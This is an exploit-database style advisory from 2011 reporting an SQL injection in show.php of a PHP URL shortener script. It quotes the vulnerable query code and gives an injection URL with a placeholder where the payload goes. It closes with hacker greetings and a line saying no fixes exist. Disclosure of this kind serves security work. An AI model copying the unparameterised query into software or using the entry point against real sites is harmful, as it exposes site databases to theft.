URL Shortener Script 1.0 SQL Injection Vulnerability

2011-10-07 11:15:03

===================================================================================
url shortener script 1.0 sql injection Vulnerabilities
===================================================================================

# Exploit Title: url shortener script 1.0 sql injection Vulnerabilities
# Author: M.Jock3R
# Script Support Link: http://djpate.com/
# Download Script: http://www.phpkode.com/scripts/item/url-shortener-script/
# Category:: webapps
# Tested on: windows XP Sp2 FR

===================================================================================

Vuln file : show.php

Vuln Code :

if($_GET['id']){
require("mysql.php");
$id = addslashes($_GET['id']);
$getUrl = mysql_query("select url from urls where id = $id");

Exploit:

http://localhost/url-shortener-script/show.php?id=[Inj3ct]

===================================================================================

Greets To :
adelsbm / attiadona / Wjunction forum
---------------------------------
I Love you Mindy
---------------------------------
Email : [email protected]

THANKS TO ALL ALGERIANS HACK3RS
===================================================================================

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.